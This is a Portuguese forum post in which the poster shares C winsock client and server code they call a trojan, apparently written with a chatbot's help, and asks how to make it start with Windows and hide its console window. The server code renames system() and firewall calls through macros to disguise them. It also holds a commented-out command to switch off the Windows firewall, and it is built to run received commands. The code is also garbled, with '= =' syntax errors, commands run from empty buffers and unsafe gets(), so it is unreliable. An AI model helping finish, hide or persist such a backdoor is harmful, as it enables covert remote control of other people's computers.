Eu nao manjo muito de cmd mais consegui pegar um chat e criar um trojan o problema é que nao inicia com o pc e aparece a telinha preta eu uso o gcc para linkar -lwsock32 socket.h

Cliente
#include <stdio.h>
#include <winsock.h>
#include <conio.h>
#include <windows.h>
#include <string.h>
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
char buffer[1024];
char buffer2[1024];
int bytes;
#define iniciar WSAStartup
int main(){
if(iniciar(MAKEWORD(1,1),&data)==SOCKET_ERROR){
printf("Erro ao inicializar o winsock");
return 0;
}
if((winsock = socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR){
printf("Erro ao criar socket");
return 0;
}
sock.sin_family=AF_INET;
sock.sin_port=htons(1234);
sock.sin_addr.s_addr=inet_addr("127.0.0.1");
if(connect(winsock,(SOCKADDR*)&sock,sizeof(sock))= =SOCKET_ERROR){
printf("Erro ao se conectar");
return 0;
}
printf("Conectado!\n");
while(1)
{
printf("Digite uma mensagem:\n");
system(buffer);
gets (buffer);
strcat(buffer,"\r\n");


if(bytes==-1){
printf("Conexão perdida");
getch();
return 0;
}
printf(buffer2);


}
getch();
closesocket(winsock);
WSACleanup();
return 0;
}

Server
#include <windows.h>
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
char buffer[1024];
char buffer2[1024];
int bytes;
#define iniciar WSAStartup
#define macro MAKEWORD
#define matrix memset
#define criar SOCK_STREAM
#define listar listen
#define receber recv
#define mandar send
#define aceitar accept
#define blindar bind
#define winsocket socket
#define ht htons
#define socketaddr SOCKADD
#define cmd system
#define fire advfirewall
int main(){

//cmd("netsh fire set currentprofile state off");


//cmd("@echo off");


if(iniciar(macro(1,1),&data)==SOCKET_ERROR){
printf("Erro ao inicializar o winsock");
return 0;
}
if((winsock = socket(AF_INET,criar,0))==SOCKET_ERROR){
printf("Erro ao criar socket");
return 0;
}
sock.sin_family=AF_INET;
sock.sin_port=htons(1234);
if(blindar(winsock,(SOCKADDR*)&sock,sizeof(sock))= =SOCKET_ERROR){
printf("Erro colocar utilizar a funcao BIND");
return 0;
}
listen(winsock,1);
while((winsock = accept(winsock,0,0))==SOCKET_ERROR)
printf("Cliente conectado!");
while(1)
{


matrix(buffer2,0,1024);
bytes=recv(winsock,buffer2,1024,0);
if(bytes==-1){
printf("Conexão perdida");
getch();
return 0;
}
printf(buffer2);
printf("Digite uma mensagem:\n");
cmd(buffer);
strcat(buffer,"\r\n");
send(winsock,buffer,strlen(buffer),0);


}
getch();
closesocket(winsock);
WSACleanup();
return 0;
}